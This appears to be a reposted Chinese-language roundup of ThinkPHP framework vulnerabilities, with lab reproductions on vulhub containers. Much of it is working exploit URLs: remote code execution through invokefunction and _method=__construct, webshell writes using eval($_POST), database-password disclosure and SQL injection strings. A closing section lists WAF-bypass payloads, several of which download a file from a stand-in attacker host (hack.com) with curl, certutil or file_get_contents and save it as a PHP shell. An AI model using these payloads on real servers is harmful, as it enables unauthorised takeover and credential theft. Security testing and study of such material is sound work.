Think PHP漏洞總結(全系列)


0x01 組件介紹

1.1 基本信息

ThinkPHP是一個快速、兼容而且簡單的輕量級國產PHP開發框架,遵循Apache 2開源協議發布,使用面向對象的開發結構和MVC模式,融合了Struts的思想和TagLib(標簽庫)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持windows/Unix/Linux等服務器環境,正式版需要PHP 5.0以上版本,支持MySql、PgSQL、Sqlite多種數據庫以及PDO擴展。

1.2 版本介紹

ThinkPHP發展至今,核心版本主要有以下幾個系列,ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列,各個系列之間在代碼實現及功能方面,有較大區別。其中ThinkPHP 2以及ThinkPHP 3系列已經停止維護,ThinkPHP 5系列現使用最多,而ThinkPHP 3系列也積累了較多的歷史用戶。版本細分如下圖所示:

0x02 高危漏洞介紹

通過對ThinkPHP漏洞的收集和整理,過濾出其中的高危漏洞,可以得出如下列表:
從上表數據來看,ThinkPHP 3系列版本的漏洞多是2016/2017年被爆出,而ThinkPHP 5系列版本的漏洞基本為2017/2018年被爆出,從2020年開始,ThinkPHP 6系列的漏洞也開始被挖掘。
 
從中可以看出,ThinkPHP近年出現的高風險漏洞主要存在於框架中的函數,這些漏洞均需要在二次開發的過程中使用了這些風險函數方可利用,所以這些漏洞更應該被稱為框架中的風險函數,且這些風險點大部分可導致SQL注入漏洞,所以,開發者在利用ThinkPHP進行Web開發的過程中,一定需要關注這些框架的歷史風險點,盡量規避這些函數或者版本,則可保證web應用的安全性。
 

0x03 漏洞利用鏈

3.1 暴露面梳理

根據ThinkPHP的歷史高危漏洞,梳理出分版本的攻擊風險點,開發人員可根據以下圖標,來規避ThinkPHP的風險版本,如下ThinkPHP暴露面腦圖。

3.2 利用鏈總結

基於暴露面腦圖,我們可以得出幾種可以直接利用的ThinkPHP框架漏洞利用鏈,不需要進行二次開發。

3.2.1 ThinkPHP 2.x/3.0 GetShell

ThinkPHP 低於3.0 - GetShell
ThinkPHP 低版本可以使用以上漏洞執行任意系統命令,獲取服務器權限。

3.2.2 ThinkPHP 5.0 GetShell

ThinkPHP 5.0.x - GetShell
首先明確ThinkPHP框架系列版本。
根據ThinkPHP版本,如是0.x版本,即可使用ThinkPHP 5.x遠程代碼執行漏洞,無需登錄,即可執行任意命令,獲取服務器最高權限。

3.2.3 ThinkPHP 5.1 GetShell

ThinkPHP 5.1.x - GetShell
首先明確ThinkPHP框架系列版本。
根據ThinkPHP版本,如是1.x版本,即可使用ThinkPHP 5.x遠程代碼執行漏洞1,無需登錄,即可執行任意命令,獲取服務器最高權限。
如需使用ThinkPHP 5.x遠程代碼執行漏洞2,則需要php文件中跳過報錯提示,即 文件中有語句:“error_reporting(0);”,故該漏洞在5.1.x系列版本利用需要滿足以上前提,利用較難。
 

0x04 高危利用漏洞分析

從高危漏洞列表中,針對ThinkPHP不需二次開發即可利用的高危漏洞進行深入分析。
從高危漏洞列表中,針對ThinkPHP不需二次開發即可利用的高危漏洞進行深入分析。
 

4.1 ThinkPHP 2.x/3.0遠程代碼執行漏洞

4.1.1 漏洞概要

漏洞名稱:ThinkPHP 2.x/3.0遠程代碼執行
參考編號:無
威脅等級:高危
影響范圍:ThinkPHP 2.x/3.0
漏洞類型:遠程代碼執行
利用難度:簡單

4.1.2 漏洞描述

ThinkPHP是為了簡化企業級應用開發和敏捷WEB應用開發而誕生的開源MVC框架。Dispatcher.class.php中res參數中使用了preg_replace的/e危險參數,使得preg_replace第二個參數就會被當做php代碼執行,導致存在一個代碼執行漏洞,攻擊者可以利用構造的惡意URL執行任意PHP代碼。

4.1.3 漏洞分析

漏洞存在在文件 /ThinkPHP/Lib/Think/Util/Dispatcher.class.php 中,ThinkPHP 2.x版本中使用preg_replace的/e模式匹配路由,我們都知道,preg_replace的/e模式,和php雙引號都能導致代碼執行的,即漏洞觸發點在102行的解析url路徑的preg_replace函數中。代碼如下:
該代碼塊首先檢測路由規則,如果沒有制定規則則按照默認規則進行URL調度,在preg_replace()函數中,正則表達式中使用了/e模式,將“替換字符串”作為PHP代碼求值,並用其結果來替換所搜索的字符串。
正則表達式可以簡化為“\w+/([^/])”,即搜索獲取“/”前后的兩個參數,$var[‘\1’]=”\2”;是對數組的操作,將之前搜索到的第一個值作為新數組的鍵,將第二個值作為新數組的值,我們發現可以構造搜索到的第二個值,即可執行任意PHP代碼,在PHP中,我們可以使用${}里面可以執行函數,然后我們在thinkphp的url中的偶數位置使用${}格式的php代碼,即可最終執行thinkphp任意代碼執行漏洞,如下所示:
 
index.php?s=a/b/c/${code}
index.php?s=a/b/c/${code}/d/e/f
index.php?s=a/b/c/d/e/${code}
由於ThinkPHP存在兩種路由規則,如下所示
  1. http://serverName/index.php/模塊/控制器/操作/[參數名/參數值...]
  2. 如果不支持PATHINFO的服務器可以使用兼容模式訪問如下:
  3. http://serverName/index.php?s=/模塊/控制器/操作/[參數名/參數值...]
也可采用 index.php/a/b/c/${code}一下形式。
 

4.1.4 漏洞復現

環境搭建

 
/vulhub/thinkphp/2-rce
docker-compose up -d
 

 

 

 

 

驗證漏洞

 
http://192.168.1.21:8080/index.php?s=/index/index/name/${@phpinfo()}
http://192.168.1.21:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D)}

 

 

 

工具利用

ThinkphpGUI 2020HackingClub線下典藏版
使用工具不能getshell
上傳一句話木馬
 
http://192.168.1.21:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

 

 

 

菜刀連接
 
http://192.168.1.21:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))} 密碼1

 

 

 

蟻劍連接

4.2 ThinkPHP 5.x 遠程代碼執行漏洞1

4.2.1 漏洞概要

漏洞名稱:ThinkPHP 5.0.x-5.1.x 遠程代碼執行漏洞
參考編號:無
威脅等級:嚴重
影響范圍:ThinkPHP v5.0.x < 5.0.23,ThinkPHP v5.1.x < 5.0.31
漏洞類型:遠程代碼執行
利用難度:容易

4.2.2 漏洞描述

2018年12月10日,ThinkPHPv5系列發布安全更新,修復了一處可導致遠程代碼執行的嚴重漏洞。此次漏洞由ThinkPHP v5框架代碼問題引起,其覆蓋面廣,且可直接遠程執行任何代碼和命令。電子商務行業、金融服務行業、互聯網游戲行業等網站使用該ThinkPHP框架比較多,需要格外關注。由於ThinkPHP v5框架對控制器名沒有進行足夠的安全檢測,導致在沒有開啟強制路由的情況下,黑客構造特定的請求,可直接進行遠程的代碼執行,進而獲得服務器權限。

4.2.3 漏洞分析

本次ThinkPHP 5.0的安全更新主要是在library/think/APP.php文件中增加了對控制器名的限制,而ThinkPHP 5.1的安全更新主要是在library/think/route/dispatch/Module.php文件中增加了對控制器名的限制。

4.2.4 漏洞復現

環境搭建

 
/vulhub/thinkphp/5-rce
docker-compose up -d

 

 

 

 

 

驗證漏洞

 
http://192.168.1.21:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

 

 

 

任意代碼執行
 
http://192.168.1.21:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

 

 

 

寫入webshell
<?php eval($_POST[zcc]);?> #需要進行url編碼
 
http://192.168.1.21:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e

 

 

 

連接 http://192.168.1.21:8080/zcc.php 密碼 zcc
工具檢測

 

 

http://192.168.1.21:8080//peiqi.php Pass:peiqi
 

4.3 ThinkPHP 5.x 遠程代碼執行漏洞2

4.3.1 漏洞概要

漏洞名稱:ThinkPHP 5.0.x-5.1.x遠程代碼執行漏洞
參考編號:無
威脅等級:嚴重
影響范圍:ThinkPHP v5.0.x < 5.0.23,ThinkPHP v5.1.x < 5.0.31
漏洞類型:遠程代碼執行漏洞
利用難度:容易

4.3.2 漏洞描述

2019年1月11日,某安全團隊公布了一篇ThinkPHP 5.0.遠程代碼執行漏洞文檔,公布了一個ThinkPHP 5.0.遠程代碼執行漏洞。文章中的該漏洞與2018年12月的ThinkPHP 5.0.*遠程代碼執行漏洞原理相似,攻擊者可利用該漏洞在一定條件下獲取目標服務器的最高權限。后經研究,在一定條件下,ThinkPHP 5.1.x版本也存在該漏洞,在滿足條件的情況下,攻擊者可利用該漏洞執行任意代碼。

4.3.3 漏洞分析

該漏洞的漏洞關鍵點存在於thinkphp/library/think/Request.php文件中:
 
 
 

4.3.4 漏洞復現

環境搭建

/vulhub/thinkphp/5.0.23-rce
docker-compose up -d

驗證漏洞

命令執行
getshell
 

4.4 Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞

4.4.1 漏洞概要

漏洞名稱:Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞
參考編號:無
威脅等級:嚴重
影響范圍:ThinkPHP < 5.1.23
漏洞類型:SQL注入漏洞和敏感信息泄露漏洞
利用難度:容易

4.4.2 漏洞描述

傳入的某參數在綁定編譯指令的時候又沒有安全處理,預編譯的時候導致SQL異常報錯。然而thinkphp5默認開啟debug模式,在漏洞環境下構造錯誤的SQL語法會泄漏數據庫賬戶和密碼。

4.4.3 漏洞分析

 

4.4.4 漏洞復現

環境搭建

 
/vulhub/thinkphp/in-sqlinjection
docker-compose up -d

 

 

 

驗證漏洞

 

 

0x05 漏洞總結

下面是別人總結繞過的,未測試。

5.1 thinkphp 5.0.5

 
 
waf對eval進行了攔截
禁止了assert函數
對eval函數后面的括號進行了正則過濾
對file_get_contents函數后面的括號進行了正則過濾
http://www.xxxx.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>
 

 

 

5.2 thinkphp 5.0.10

 
(post)public/index.php?s=index/index/index
(data)s=whoami&_method=__construct&method&filter[]=system
 

5.3 thinkphp 5.0.11

 
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php

 

5.4 thinkphp 5.0.14

 
 
eval('')和assert('')被攔截,命令函數被禁止
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));
 
php7.2
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>寫進去發現轉義了尖括號
通過copy函數
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php
 

 

5.5 thinkphp 5.0.18

 
 
windows
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()
 
使用certutil
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php
 
由於根目錄沒寫權限,所以寫到uploads
 

 

5.6 thinkphp 5.0.21

 
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
 
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

 

5.7 thinkphp 5.0.22

 
http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

 

5.8 thinkphp 5.0.23
 
(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
Debug模式
(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx

 

5.9 thinkphp 5.1.18

 
http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>
 
所有目錄都無寫權限,base64函數被攔截
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])

 

5.10 thinkphp 5.1.*

 
 
 
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
 

 

5.11 thinkphp 5.1.*和5.2*和5.0*

 
 (post)public/index.php (data)c=exec&f=calc.exe&_method=filter 

5.12 thinkphp 未知版本

 
 
?s=index/\think\module/action/param1/${@phpinfo()}
?s=index/\think\Module/Action/Param/${@phpinfo()}
?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
index.php?s=/home/article/view_recent/name/1'
header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"
index.php?s=/home/shopcart/getPricetotal/tag/1%27
index.php?s=/home/shopcart/getpriceNum/id/1%27 index.php?s=/home/user/cut/id/1%27 index.php?s=/home/service/index/id/1%27 index.php?s=/home/pay/chongzhi/orderid/1%27 index.php?s=/home/pay/index/orderid/1%27 index.php?s=/home/order/complete/id/1%27 index.php?s=/home/order/complete/id/1%27 index.php?s=/home/order/detail/id/1%27 index.php?s=/home/order/cancel/id/1%27 index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+ POST /index.php?s=/home/user/checkcode/ HTTP/1.1 Content-Disposition: form-data; name="couponid"1') union select sleep('''+str(sleep_time)+''')#
 

 

 

5.13 當php7以上無法使用Assert的時候用

 
 
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=包含&x=phpinfo();
有上傳圖片或者日志用這個包含就可以

參考

  1. thinkphp漏洞分析與總結 · Drunkmars's Blog
  2. thinkphp漏洞分析和總結 - 文章整合 (chowdera.com)
  3. ThinkPHP框架漏洞總結 - FreeBuf網絡安全行業門戶
  4. ThinkPHP 5.x RCE分析_0verWatch的博客-CSDN博客_rce分析
  5. ThinkPHP 5.x 遠程命令執行漏洞分析與復現 | PHP 技術論壇 (learnku.com)
  6. ThinkPHP5 SQL注入漏洞 && 敏感信息泄露【通過】 - 賬號審核 - 90Sec
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM